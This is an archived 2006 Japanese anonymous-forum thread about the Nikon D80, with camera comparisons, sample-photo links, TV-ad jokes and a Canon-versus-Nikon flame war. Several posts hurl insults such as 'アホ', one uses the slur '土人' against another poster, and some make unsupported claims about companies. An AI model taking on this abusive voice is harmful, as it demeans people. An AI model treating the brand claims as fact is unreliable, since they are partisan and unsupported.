798 :名無CCDさん@画素いっぱい:2006/09/28(木) 21:56:24 ID:M1KUFIZF0
>>796
ニコンのカメラはAF精度が悪いからね。 KDN買ったほうがいいよね。

799 :名無CCDさん@画素いっぱい:2006/09/28(木) 22:01:10 ID:c5RukY+J0
プッw

必 死 だ な w

800 :名無CCDさん@画素いっぱい:2006/09/28(木) 22:04:06 ID:uQMdT2Nb0
なにが?

801 :名無CCDさん@画素いっぱい:2006/09/28(木) 22:04:55 ID:YCVDuM9g0
>>798 とれーこと けーてかんわ
パンパンパーン
    ∧__∧  ∩
  (,,`・ω・´)彡☆
   ⊂彡☆))Д´)
       ☆


802 :名無CCDさん@画素いっぱい:2006/09/28(木) 22:09:17 ID:5xA6TR9I0
>>799
いちいち反応すな、ボケッ!

>>801
お前もじゃ、名古屋人は、味噌カツ食ってねろ。

いいな〜、ファインダ〜。
絵はKDXと同じく普通だけど。
αのISO100ぐらいだったら、買ってたかもしれんが。

803 :名無CCDさん@画素いっぱい:2006/09/28(木) 22:10:48 ID:ZCgCcpHh0
今日カメラ屋行ったらキムタクがエンドレスで流れていた
あのわざとらしいの延々流すことに比べりゃ、まだKissの子供のほうがマシだったと思った
頼むからやめてくれ

804 :名無CCDさん@画素いっぱい:2006/09/28(木) 22:21:26 ID:5xA6TR9I0
キムタク嫌いだが、まだ見てない。
KISSは見過ぎてうざすぎるから、始まったらチャンネル変える。
うちの近くのキタムラは入った瞬間に目の前に置いてあって
流れてたから、そのままUターンして200メートルぐらい先の
別のカメラ屋に行った。

805 :名無CCDさん@画素いっぱい:2006/09/28(木) 22:25:03 ID:ZCgCcpHh0
いやKissはまだ気にしなきゃどうってことないのよ、内容がはしゃいでるだけだから
キムタクエンドレスは見ててわざとらしさで腹が立ってくるほど
店がアンチなのか

806 :名無CCDさん@画素いっぱい:2006/09/28(木) 22:26:56 ID:M1KUFIZF0
ストラップもつけてないカメラで手とか撮って「やっぱいいわニコン」なんてアホじゃないの?www

807 :名無CCDさん@画素いっぱい:2006/09/28(木) 22:28:28 ID:YCVDuM9g0
>>802
ほーかしゃん

808 :名無CCDさん@画素いっぱい:2006/09/28(木) 22:33:53 ID:5xA6TR9I0
>>805
見たことないけど何となく想像が付く。
>>807
わかった、俺が悪かった。
手羽先食って俺が寝るわ。

809 :名無CCDさん@画素いっぱい:2006/09/28(木) 23:01:15 ID:J/P/dA050
>>803
それフジヤカメラだな

810 :名無CCDさん@画素いっぱい:2006/09/28(木) 23:22:20 ID:thp897nA0
3日ほど前に中古レンズ買いに行ったときは、
静かだったけどね〜?

811 :名無CCDさん@画素いっぱい:2006/09/28(木) 23:35:40 ID:IxbDwqol0
D80画質最悪・・・orz


827 名前: 名無CCDさん@画素いっぱい [sage] 投稿日: 2006/09/28(木) 21:39:43 ID:5HbysQ+Y0
D80ってそんなに画質悪いの??


834 名前: 名無CCDさん@画素いっぱい [sage] 投稿日: 2006/09/28(木) 23:06:47 ID:BnayvPg30
>>827
俺がD80スレに貼った奴

http://dc.watch.impress.co.jp/cda/review/2006/09/01/4521.html
同じ場所で撮ってきた
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060921222954.jpg
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060921223152.jpg

http://dc.watch.impress.co.jp/cda/dslr/2006/08/28/4486.html
Kiss
http://dc.watch.impress.co.jp/cda/review/2006/06/11/3977.html
α



812 :名無CCDさん@画素いっぱい:2006/09/29(金) 00:12:48 ID:JdItQQHY0
観音網乙

813 :名無CCDさん@画素いっぱい:2006/09/29(金) 00:18:48 ID:n0mcdGdD0
やっぱりいいわD80の画質

http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060929001732.jpg

814 :名無CCDさん@画素いっぱい:2006/09/29(金) 00:19:59 ID:jT5pWpOO0
C2Dの頭の悪そうな書き込みはどうにかならないの?
アホみたいな露出テストはするし、「ゴミ取りはフルサイズ対応の新マウントから」とか言い出すし・・・

815 :名無CCDさん@画素いっぱい:2006/09/29(金) 00:20:43 ID:l2g+Hi8s0
http://plusd.itmedia.co.jp/lifestyle/articles/0609/27/news020.html
使い心地にこだわった中級デジ一眼――「D80」の開発者に聞く

816 :名無CCDさん@画素いっぱい:2006/09/29(金) 00:22:25 ID:WBbloY5s0
やっぱいいわキヤノン。
tp://pics.dmm.co.jp/mono/movie/1sddm572/1sddm572pl.jpg

817 :名無CCDさん@画素いっぱい:2006/09/29(金) 00:23:59 ID:hM4W0oPB0
>>815
今更?

>>816
キタ━━━━━━(゚∀゚)━━━━━━ !!

818 :ホワイト ◆KosbZRC5sc :2006/09/29(金) 00:30:53 ID:9s/qryqC0
こういう人が接待するからデジカメマガジンとかはキヤノンびいきなのかw

819 :名無CCDさん@画素いっぱい:2006/09/29(金) 01:09:38 ID:SRFGEUIU0
>>817

>>816の方が>>815より今更なんだけど…

820 :名無CCDさん@画素いっぱい:2006/09/29(金) 03:12:26 ID:b2H+gZMb0
    /\___/ヽ   ヽ
   /    ::::::::::::::::\ つ
  . |  ,,-‐‐   ‐‐-、 .:::| わ
  |  、_(o)_,:  _(o)_, :::|ぁぁ
.   |    ::<      .::|あぁ
   \  /( [三] )ヽ ::/ああ
   /`ー‐--‐‐―´\ぁあ

こんどのCMキモイヨー


821 :名無CCDさん@画素いっぱい:2006/09/29(金) 10:35:44 ID:us8bStYf0
D80のスケルトンモデル
ttp://dc.watch.impress.co.jp/cda/parts/image_for_link/66915-4730-6-2.html

822 :名無CCDさん@画素いっぱい:2006/09/29(金) 10:41:45 ID:vtrB2GN60
    /\___/ヽ   ヽ
   /    ::::::::::::::::\ つ
  . |  ,,-‐‐   ‐‐-、 .:::| わ
  |  、_(o)_,:  _(o)_, :::|ぁぁ
.   |    ::<      .::|あぁ
   \  /( [三] )ヽ ::/ああ
   /`ー‐--‐‐―´\ぁあ

安っぽいヨー

823 :名無CCDさん@画素いっぱい:2006/09/29(金) 11:31:00 ID:3GaMr06m0
>>821
ここまでしてもやっぱり赤は残すのね。

ついでにFlowerPowerとかBlue Dalmatianとかやんねぇかなぁー

824 :名無CCDさん@画素いっぱい:2006/09/29(金) 12:56:24 ID:K6uQmm/JO
あー、天気いいなー。撮りに行きたい、採りに活き鯛、鶏に期待、トリニーキ・タイ。誰?

825 :名無CCDさん@画素いっぱい:2006/09/29(金) 12:58:48 ID:1YT50Bqn0
ゴミ取り機能がついて、その結果自分で掃除できなくなるようだったら
今のままでよくね?

826 :名無CCDさん@画素いっぱい:2006/09/29(金) 13:01:56 ID:FJoekVv3O
マジで悩んでんだけど将来的にニコンレンズ生き残る?
ニコン大好きだけどキヤノン・ソニー・ペンタックスが3大メーカーになるスピリチュアル結果…
今あるニコンカメラやレンズ等手放すが吉かな…

827 :名無CCDさん@画素いっぱい:2006/09/29(金) 13:04:43 ID:8uSKqqva0
つ三菱財閥

828 :名無CCDさん@画素いっぱい:2006/09/29(金) 13:06:05 ID:6W/oWNIZ0
>>826
土人がニコンレンズを持つのは傲慢なる犯罪だよ。
君ら土人はネイチャーフォトの対象。

829 :名無CCDさん@画素いっぱい:2006/09/29(金) 13:06:39 ID:K6uQmm/JO
ニコン共通の仕上がり設定項目が入ってるけど
D80には「より鮮やかに」はいらない希ガス。ただの「鮮やかに」で十分クドくなる。
逆に「地味」とか「ねむい」が欲しい。「より鮮やかに」はアメリカ人専用だな。

830 :名無CCDさん@画素いっぱい:2006/09/29(金) 13:09:40 ID:s+x68VYL0
>>828 鳥スレに裸族の写真を貼ったのお前だろう。 品が無いな。

831 :名無CCDさん@画素いっぱい:2006/09/29(金) 13:14:21 ID:MMMDgS4x0
>>827
確かに民生用では無くなっても、国産情報収集衛星の光学製品としては
絶対ニコンが使われそうだw 工作員は本物の北朝うわなにをするやめr

832 :名無CCDさん@画素いっぱい:2006/09/29(金) 13:21:39 ID:K6uQmm/JO
>>826
GMが傾き、トヨタやソニーがリコール連発し、ソ連や冥王星まで無くなる御時世で、ニコンの将来を誰が予想できるんだ?
そんな意味の無い事心配するより、D80と良い案配のレンズを見繕って旅に出ろ。お土産を忘れるなよ。羊羹はまにあってる。

833 :名無CCDさん@画素いっぱい:2006/09/29(金) 13:35:33 ID:9ZgLmIfx0
さてムックかってくるか

834 :名無CCDさん@画素いっぱい:2006/09/29(金) 13:59:58 ID:1NcHKc6y0
>>832
オレはおまいのカキコに刺激されたw


835 :名無CCDさん@画素いっぱい:2006/09/29(金) 15:09:30 ID:gOXAuutf0
あ〜とうとうD80買っちゃったよ18-70セット。
皆様の仲間入りですどうぞ宜しく。

俺の買える値段で買ってもいいと思えるのはこれしかなかった。
決め手はファインダーです。

836 :名無CCDさん@画素いっぱい:2006/09/29(金) 15:17:18 ID:v62r2J900
http://capacamera.net/photokina/
この、ニコンの開発責任者の話見てがっかりしたんだが。
「日本でもすごい好評なんですけど、ヨーロッパの方でも
とても、あの、好評です。このフォトキナの中でも一番の
目玉になってますね。」
目が泳いでるし、質問にもまともに答えられてない。
そもそも、目玉じゃないだろ、そういう機種じゃないだろ。
こんな人が責任者なのか、そりゃ、キムタク使うよな。
うちは皆さんが写真を撮るとき一番大切になる
ファインダを・・・とか、AFをとか自信のあるところを
はっきり言えばいいのに。
手ぶれ補正やごみとりのこと聞かれて、あたふたして、みっともない。
責任者なら、客の要望への配慮と、自信を見せてくれよ。
D80はいいカメラだと思うから、情けないよ。

837 :名無CCDさん@画素いっぱい:2006/09/29(金) 15:36:38 ID:ncBGhRUm0
あがってるんだよ

838 :名無CCDさん@画素いっぱい:2006/09/29(金) 15:38:51 ID:x1PHXDUt0
>>832
キヤノンは欠陥を隠蔽し、土壌汚染・偽装請負までしてるもんね。
これは予想できたけど・・・

839 :名無CCDさん@画素いっぱい:2006/09/29(金) 15:44:52 ID:DbJmSRH70
>>836
さぞかし大したプレゼンの達人なんでしょうなw

840 :名無CCDさん@画素いっぱい:2006/09/29(金) 15:47:15 ID:sIy2wtcw0
>>836
なにを興奮しているのか分からないが、
川村氏、地味な技術者で、いかにもニコンらしくて良い。

こんなところで、丸覚えのコンパニオンみたいに、
ぺらぺら喋られたら、幻滅だ。

841 :名無CCDさん@画素いっぱい:2006/09/29(金) 15:55:43 ID:kNB1rJJZ0
保証切れた途端ローパス清掃1回1000円に萎えた。

842 :名無CCDさん@画素いっぱい:2006/09/29(金) 16:02:14 ID:trvCbwk/0
>>840
他見るとペンタのハゲた奴は、ものすごく好印象だぞ。
一眼レフは、ファインダーが命ですからって聞いてる人が
びっくりするくらいくらいきっぱり言ってる。
キヤノンや他の開発責任者も見たかったな。

843 :名無CCDさん@画素いっぱい:2006/09/29(金) 16:03:30 ID:+k8MPMnj0
えーキヤノンはただだよ
ごみ取りなし、清掃激高ってどーすんだよ
こういうとこも計算に入れてかんがえないとな

844 :名無CCDさん@画素いっぱい:2006/09/29(金) 16:08:38 ID:s+x68VYL0
ゴミ取りは儲けるから今後もカメラにはつけない方針です。 これからの高齢化社会をにらんだ福祉の一環です。

845 :名無CCDさん@画素いっぱい:2006/09/29(金) 17:29:56 ID:ic9dLCPI0
プレゼン用にキムタク連れてくるとか。
「スッゲー、やっぱりイイわ、ニコン!」

846 :名無CCDさん@画素いっぱい:2006/09/29(金) 17:59:32 ID:FtuJH7Gw0
>>845
あんなガサツにレンズ交換する人なんていりません。

847 :名無CCDさん@画素いっぱい:2006/09/29(金) 18:11:52 ID:TxDuyvCf0
D80とVR18-200mm買ってきた。
マターリ充電中、充電ってどの位で終わるの?

848 :名無CCDさん@画素いっぱい:2006/09/29(金) 18:12:21 ID:1NjY4Aai0
>>847
how much?

849 :ホワイト ◆KosbZRC5sc :2006/09/29(金) 18:17:19 ID:9s/qryqC0
2時間くらいかかる


850 :名無CCDさん@画素いっぱい:2006/09/29(金) 18:18:31 ID:ewrbfsLm0
>>847
おめでとう
説明書には2時間15分て書いてあるけど、最初からちょっと充電してあるんで
そんなに掛かんなかったな

851 :名無CCDさん@画素いっぱい:2006/09/29(金) 18:19:32 ID:z/7Pb3LK0
>>847
数十分じゃないかな。
何割充電状態かは、カメラに入れればメニューで残量表示されるけど、改めて調べるまでもなし。

852 :名無CCDさん@画素いっぱい:2006/09/29(金) 18:25:46 ID:TxDuyvCf0
>>848
 ボディー 106,000円(1Gのメモリオマケ付き)
 VR 18-200 81,000円
地方です。

>>849-851
2時間弱、了解です。
ありがとう。

853 :名無CCDさん@画素いっぱい:2006/09/29(金) 18:27:15 ID:3x7l2Mvd0
5人いるスマップの中で一番いいと思うけどなあキムタク
D80のコマーシャルにぴっりじゃん。俺なんかあのCM見てすぐに
買いに行ったよ。電気屋行ったらもうニコンD80が一番前に飾
ってあってさ。すぐに手に取ったよ。全体的な作りはいいし俺の
てにもぴったりだよ。キムタクみたいに構えて見たらもう
良いのなんのって。
かっけーとか言ってたらとなりでD80見てたかわいい子にクス
っとか笑われちゃってさ。それがきっかけで今度会う約束してしまっ
た。いやキムタクさまさまだね。

854 :名無CCDさん@画素いっぱい:2006/09/29(金) 18:30:00 ID:dYT4+XjA0
SMAPの中でD80が似合うのはゴロちゃんなんだよな。
キムはギャグキャラだから無理してかっけーとか言っても浮いてしまう。

855 :名無CCDさん@画素いっぱい:2006/09/29(金) 18:40:40 ID:PdejXuz10
>>853











856 :名無CCDさん@画素いっぱい:2006/09/29(金) 18:43:10 ID:vtrB2GN60
あぁ俺も早く欲しい・・・orz給料マダー

857 :名無CCDさん@画素いっぱい:2006/09/29(金) 19:09:45 ID:1NjY4Aai0
>>852
ども。

年末のボで買います! D80+VR18-200

858 :名無CCDさん@画素いっぱい:2006/09/29(金) 19:35:26 ID:FtuJH7Gw0
最近は5Dを買えない人はD80を買う傾向にあるんだなぁ・・・ かわいそうだねw

859 :名無CCDさん@画素いっぱい:2006/09/29(金) 19:44:16 ID:qrixKCYX0
>858
まあ、ものは言い方だね。
D80で十分な人は30万も浪費する必要がない・・のかもね。

つーか、EFとニッコール、フルサイズとAPS-Cという時点で
それまでの所有レンズとかいろいろ前提条件がちがわないか?。

860 :名無CCDさん@画素いっぱい:2006/09/29(金) 19:47:23 ID:1NjY4Aai0
>>858
そういう貴方は5Dユーザ?

861 :名無CCDさん@画素いっぱい:2006/09/29(金) 19:49:08 ID:gOXAuutf0
>>858
なかなか合理的な判断だと思うがどうよ。
俺はEos1+Eos7+EF赤レンズ2本+EF3本の環境からD80のデジ一になったぜ。

Canonのフルサイズを買う日が来るかもしれないが
D80は現時点ではいい選択だったと思っている。

862 :名無CCDさん@画素いっぱい:2006/09/29(金) 19:58:31 ID:5GgEEccB0
デジをD80を買って、フルサイズは銀塩で通すって選択肢もありそうだな。

というか、俺がまさにそれ。

863 :名無CCDさん@画素いっぱい:2006/09/29(金) 20:02:06 ID:FtuJH7Gw0
>>862
デジをキヤノンにすれば銀塩並みのレベルになったのに
わざわざDXサイズの極小素子のカメラを買うなんて買い物が下手だねw まあアホなんだろうけどwww

864 :名無CCDさん@画素いっぱい:2006/09/29(金) 20:04:15 ID:72jL7d7Z0
>>853
縦読みかよ

865 :862:2006/09/29(金) 20:12:50 ID:5GgEEccB0
>>863
悪いけどKDXはファインダ覗いた時点で買う気が失せた。
MFでのピント合わせが事実上不可能なファインダーじゃ、ポートレートには使えんよ。

866 :名無CCDさん@画素いっぱい:2006/09/29(金) 20:23:02 ID:zMFaUZEy0
オレも銀塩EOSだったけどデジになってから、ニコだな。
もっとも今は、ペンタK10Dが気になるが。
>>863
おいらにもなんか突っ込んでくれよ。

867 :名無CCDさん@画素いっぱい:2006/09/29(金) 20:40:53 ID:z/7Pb3LK0
>853
5列目をタテ読み!

868 :名無CCDさん@画素いっぱい:2006/09/29(金) 20:41:55 ID:z/7Pb3LK0
>>858
5Dm2と17-40-2はまだかね?

869 :名無CCDさん@画素いっぱい:2006/09/29(金) 20:58:49 ID:OOzRu3Sq0
>>835
購入オメ!撮って撮って撮りまくれ


870 :名無CCDさん@画素いっぱい:2006/09/29(金) 21:00:02 ID:FtuJH7Gw0
>>865
D80なら暗いレンズでもMFできるなら、それはお前がニコン妄信信者だからだろアホ!

871 :名無CCDさん@画素いっぱい:2006/09/29(金) 21:03:36 ID:z/7Pb3LK0
>>870
カタログをもう何冊くらい蒐集した?

872 :862:2006/09/29(金) 21:08:09 ID:5GgEEccB0
>>870
馬鹿? D80ならできるんだよ。余裕だ。

欠陥ファインダのKDXなんかと一緒にしないでくれ。


873 :名無CCDさん@画素いっぱい:2006/09/29(金) 21:10:50 ID:z/7Pb3LK0
>>872
カタログじゃピント合わせは出来ないという落ちでしょ。

874 :名無CCDさん@画素いっぱい:2006/09/29(金) 21:18:09 ID:z/7Pb3LK0
>>870
グサッ

875 :名無CCDさん@画素いっぱい:2006/09/29(金) 21:27:55 ID:trvCbwk/0
KDXは別に欠陥とまでは思わんが、D80が良すぎる。
明るいというか、そういうレベルじゃない。

876 :名無CCDさん@画素いっぱい:2006/09/29(金) 21:29:09 ID:4dy+iJHL0
公園で、水道の蛇口を撮ってみた。
http://dc-ita.dyndns.tv/cgi-bin/digitalcamera/imgboard/img-box/img20060929212640.jpg (939KB)
シグマ105/2.8マクロ(非DG)

877 :名無CCDさん@画素いっぱい:2006/09/29(金) 21:29:39 ID:gt/XCmk30
おれF80ユーザーだが

878 :名無CCDさん@画素いっぱい:2006/09/29(金) 21:30:55 ID:yhT5rnDX0
阿部センセがD80の説明で、
「ほら、髪と頬にピントくるでしょ、これなら目にもちゃんとピント来ますyo!」
って、オートAFのこと話してたんだけど、
そんなんでポトレ撮れるのか。

879 :名無CCDさん@画素いっぱい:2006/09/29(金) 21:44:13 ID:GNHwaxiB0
昨日はD80にVR18-200を付けて白根山に行ってきますた。
とりあえずSizeをLargeでJPEG撮って出しをそのままうp、、

18mm
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060929213507.jpg

130mm
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060929213324.jpg

まあなんつうか、ドットレベルで見ればちと甘いけど、、
常用レンズとしては非常に便利だと思う。ただ解像度から考えたらやっぱD70の常用にすべきか
ちょと考え中。

880 :名無CCDさん@画素いっぱい:2006/09/29(金) 21:44:59 ID:Yhp6eC3o0
>>876
もっと綺麗な蛇口はなかったのか?w


881 :名無CCDさん@画素いっぱい:2006/09/29(金) 21:45:42 ID:z/7Pb3LK0
>>877
んなの ごろごろしとる。

882 :名無CCDさん@画素いっぱい:2006/09/29(金) 21:49:06 ID:GNHwaxiB0
>>876
いいですね〜。漏れがとったらブレブレだろうな〜、、

883 :名無CCDさん@画素いっぱい:2006/09/29(金) 21:49:06 ID:FtuJH7Gw0
猫に電柱に水道の蛇口ねw もっとましな写真撮れよアホがwww

884 :名無CCDさん@画素いっぱい:2006/09/29(金) 21:54:25 ID:5GgEEccB0
>>883
だったら、お前の撮ったまともな写真とやらを見せてみそ?



自分では作例も上げられないクズが、人間様に向かって偉そうな口きくもんじゃない。


885 :名無CCDさん@画素いっぱい:2006/09/29(金) 21:56:32 ID:z/7Pb3LK0
>>883
「ボクの集めたカタログの写真のほうがきれいだぞ」?

886 :名無CCDさん@画素いっぱい:2006/09/29(金) 22:18:07 ID:FtuJH7Gw0
>>884
お前が見せたら見せてやるよ。でも俺のD2Xなんだけど俺に対抗できるの?www

887 :名無CCDさん@画素いっぱい:2006/09/29(金) 22:29:20 ID:GNHwaxiB0
ちなみにここで電柱、猫等を貼り付けているのはあくまでもベンチであって、
見ている人がD80の能力を理解することを第一目標にしている訳でさ。
その意味では、被写体が何であろうと、D80のポテンシャルでどこまで撮れるか
が重要なのね。別にD2xの写真なんぞ貼り付けられても、あくまでもD2xとの比較
という見方しかせん訳だが、、、、、
まあ>>883さんは、まともな写真とれや!と言った手前、当然>>883さんが写真を
貼る時は、心に迫るような写真を貼ってくれると皆が期待しているんで、、ガンガッテ
写真を貼ってください。個人的にかなりワクワクしています。

888 :名無CCDさん@画素いっぱい:2006/09/29(金) 22:29:42 ID:kfxuIwl/0
>>886
ほう、D2Xのカタログ持ってるのかwww

889 :名無CCDさん@画素いっぱい:2006/09/29(金) 22:29:56 ID:e4VqLqx70
846 名前:名無CCDさん@画素いっぱい[] 投稿日:2006/09/29(金) 17:59:32 ID:FtuJH7Gw0
>>845
あんなガサツにレンズ交換する人なんていりません。

858 名前:名無CCDさん@画素いっぱい[] 投稿日:2006/09/29(金) 19:35:26 ID:FtuJH7Gw0
最近は5Dを買えない人はD80を買う傾向にあるんだなぁ・・・ かわいそうだねw

863 名前:名無CCDさん@画素いっぱい[] 投稿日:2006/09/29(金) 20:02:06 ID:FtuJH7Gw0
>>862
デジをキヤノンにすれば銀塩並みのレベルになったのに
わざわざDXサイズの極小素子のカメラを買うなんて買い物が下手だねw まあアホなんだろうけどwww

870 名前:名無CCDさん@画素いっぱい[sage] 投稿日:2006/09/29(金) 21:00:02 ID:FtuJH7Gw0
>>865
D80なら暗いレンズでもMFできるなら、それはお前がニコン妄信信者だからだろアホ!

883 名前:名無CCDさん@画素いっぱい[] 投稿日:2006/09/29(金) 21:49:06 ID:FtuJH7Gw0
猫に電柱に水道の蛇口ねw もっとましな写真撮れよアホがwww

886 名前:名無CCDさん@画素いっぱい[sage] 投稿日:2006/09/29(金) 22:18:07 ID:FtuJH7Gw0
>>884
お前が見せたら見せてやるよ。でも俺のD2Xなんだけど俺に対抗できるの?www

890 :名無CCDさん@画素いっぱい:2006/09/29(金) 22:37:50 ID:FtuJH7Gw0
>>887
そうだな、ここで俺の写真を貼ってもお前らがレベルの差を思い知るだけでかわいそうなだけだな。


891 :名無CCDさん@画素いっぱい:2006/09/29(金) 22:38:47 ID:FD3+LQ0y0
池野めだか師匠が降臨なされたご様子。

892 :名無CCDさん@画素いっぱい:2006/09/29(金) 22:43:00 ID:Kd+29B4h0
「俺はお前のより良いモノを持っているんだぜ」みたいな
一番てっぺんにあるモノを引き合いに出せば良いと思ってる奴ってウケる。

子供の思考ロジックだよな。かわいそうに。

893 :名無CCDさん@画素いっぱい:2006/09/29(金) 22:50:00 ID:5GgEEccB0
>>890
もうこのスレにD80の作例は沢山上がってるのに、いまさら「お前が見せれば」もないだろ。
ゴタクはいいから、その「レベルの差を思い知る」写真とやらを見せてみ?

あと、このスレを表示したディスプレイの画面写真を、D2Xで撮ってうpしる。
D2X持ってる証拠にな。
IDが変わる30分前、23:30までにヨロシコ。

894 :名無CCDさん@画素いっぱい:2006/09/29(金) 22:53:24 ID:Mh2Flb/J0
23:30には、子供は寝てます。

895 :名無CCDさん@画素いっぱい:2006/09/29(金) 22:54:17 ID:3x7l2Mvd0
>>890
蓮の花コラだけはやめてよ。 アレは確かにレベル違うし

896 :名無CCDさん@画素いっぱい:2006/09/29(金) 22:55:45 ID:SzgN0V4B0
D80の目一杯
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060921222954.jpg
5D
http://dcita.dynalias.net/photoxp/image/photoxp/26/3572.JPG

D80の線の太さ見るといやになりますね
これで画質よいと思ってるのが哀れですね


897 :名無CCDさん@画素いっぱい:2006/09/29(金) 22:58:24 ID:FtuJH7Gw0
>>893
今修理中なんだ残念

898 :名無CCDさん@画素いっぱい:2006/09/29(金) 22:59:28 ID:z/7Pb3LK0
>>897
ホッチキスが取れたかね?

899 :名無CCDさん@画素いっぱい:2006/09/29(金) 22:59:44 ID:60CKjC360
>>897
ワロタ

900 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:02:05 ID:FtuJH7Gw0
マジで海外取材から帰ってきてSC行ったら入院になっちゃったんだよ。

901 :ホワイト ◆KosbZRC5sc :2006/09/29(金) 23:03:37 ID:9s/qryqC0
>>900
プロ?ならサブ機くらい用意しとこうな?

902 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:13:07 ID:jRs5Mek00
フルサイズ EOS5D ポートレート
http://dc.watch.impress.co.jp/cda/weekend/2005/10/28/2576.html
APS-Cサイズ D200 ポートレート
http://dc.watch.impress.co.jp/cda/weekend/2005/12/22/2938.html

俺は人物がメインなので、これ見ると5Dはダメだと思う。
D80の人物は、D200並に撮れるんでしょうか?

903 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:16:54 ID:Pw6rE3ox0
>>896
D80のシャープネスがHardになって居るだろ。
シャープネスが強いと線が太くなる。
そのくらいもわからん奴が語ってもな。

904 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:18:51 ID:5GgEEccB0
>>900
ハイハイ妄想妄想w

まあ心配すんな、最初からお前の言うことなんぞ信じてるやつは一人もいなかったから。
いい暇つぶしになったよ。

>>896
画質面でD80を上回るには、もう5D以上じゃないとダメなんだね。
すごいな、D80。

905 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:21:41 ID:FtuJH7Gw0
>>901
あほか!メインがキヤノンでサブがニコンなんだよアホ!メインで糞性能のニコンなんて使えるか!

906 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:26:12 ID:e4VqLqx70
メインとサブで違うメーカーの人っていないよ(w

907 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:26:50 ID:29C/ynXC0
今時ニコンメインで仕事してる奴ってキムタクくらいしかいねーだろw

908 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:27:19 ID:5GgEEccB0
>>902
うっわ、5Dって肌の階調がすっげえ不自然。気持ち悪い。

俺もおにゃのこ撮りがメインなので、これじゃ使い物にならんな。

30Dも人物撮ると顔の輪郭が不気味な出方をするのでやめたんだけど、5Dもこれかよ。
とてもじゃないが高い金払ってまで買う気にはならんな。



909 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:27:58 ID:FtuJH7Gw0
>>906
あほか!メインとサブがキヤノンで、そのサブがD2Xなんだよあほが

910 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:29:30 ID:5GgEEccB0
>>905
ふーん、じゃ、キミはメインとサブ用にそれぞれ別々にレンズのセットを持って行くんだ。
プロって大変なんだねぇ。



バッカじゃねぇの?w

911 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:30:55 ID:z/7Pb3LK0
>>910
飼い主認定な。

912 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:31:13 ID:Kd+29B4h0
逆にメイン機が知りたい。
D2Xがサブでメインが5Dや30Dだったら嘲笑の対象だからねw

913 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:31:22 ID:FtuJH7Gw0
>>908
目がおかしいね。一度病院いったほうがいいよ。 まあニコ爺特有の老眼と妄信eyeなんだろうけどwww

914 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:32:20 ID:N5fcwEL70
D2Xって30Dにすら劣る画質のデカいカメラなんでしょ?

915 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:35:34 ID:YaJtk1YW0
D2X捨てて5Dに走ったプロ、ハイアマ多数w

916 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:35:41 ID:5GgEEccB0
>>911
ぞっとするからやめてくれ、思わず鳥肌がw

どうせ首輪つけてペットにするならおにゃのこのほうがうわやめなにをす



917 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:36:24 ID:ewrbfsLm0
>>903
>>904
なんか俺が横浜で撮った画像と5Dのを並べて各スレにコピペしまくってるのがいるんだよ >>205参考
なにが目的なのかさっぱりわからんが

一眼歴3週間、高倍率・便利レンズ、JPEGそのまま撮って出しと、
本体30万+レンズ10万の5Dと較べてもらって光栄だがw

918 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:39:08 ID:FtuJH7Gw0
だからマジ修理中だってw
キヤノンのカメラは全然壊れないけどニコンは全然駄目。
http://dc-ita.dyndns.tv/cgi-bin/digitalcamera/imgboard/img-box/img20060929233820.jpg

919 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:40:09 ID:oRdNSHRi0

> あほか!メインとサブがキヤノンで、そのサブがD2Xなんだよあほが
> あほか!メインとサブがキヤノンで、そのサブがD2Xなんだよあほが
> あほか!メインとサブがキヤノンで、そのサブがD2Xなんだよあほが
> あほか!メインとサブがキヤノンで、そのサブがD2Xなんだよあほが
> あほか!メインとサブがキヤノンで、そのサブがD2Xなんだよあほが
> あほか!メインとサブがキヤノンで、そのサブがD2Xなんだよあほが


こんな腹痛くなる程笑ったのはひさしぶりだ
今日はぐっすり寝れそうだよ

920 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:41:34 ID:FtuJH7Gw0
こっちだったwww
http://dc-ita.dyndns.tv/cgi-bin/digitalcamera/imgboard/img-box/img20060929234110.jpg

921 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:43:22 ID:lvowP22c0
>>918
いままで撮り蓄えた物をUPすればいいだろう!
それとも、小芝居野郎?

922 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:44:23 ID:z/7Pb3LK0
>>920
自分で壊した素人さんか。

923 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:44:57 ID:FtuJH7Gw0
>>921
サブのD2Xではどうでもいい画像しか撮ってないからね。やっぱり実戦にはキヤノンだね。

924 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:46:13 ID:FtuJH7Gw0
>>922
アホか!壊れてもVISAに付帯でついてくる保険で直るんだよあほがwww

925 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:47:09 ID:z/7Pb3LK0
>>924
自分で壊しておいて悪いやっちゃな。

926 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:49:51 ID:lvowP22c0
>>924
とにかくUPしろや、この へたれが!

927 :名無CCDさん@画素いっぱい:2006/09/29(金) 23:49:57 ID:JtZAJbHn0
D70に加えてD80を買ったけど素晴らしいね>80
あらゆる面で完成度の高さを感じて大満足。 売れるわけだ。
長年CFユーザーだったから、SDな点だけは好きになれないけど。

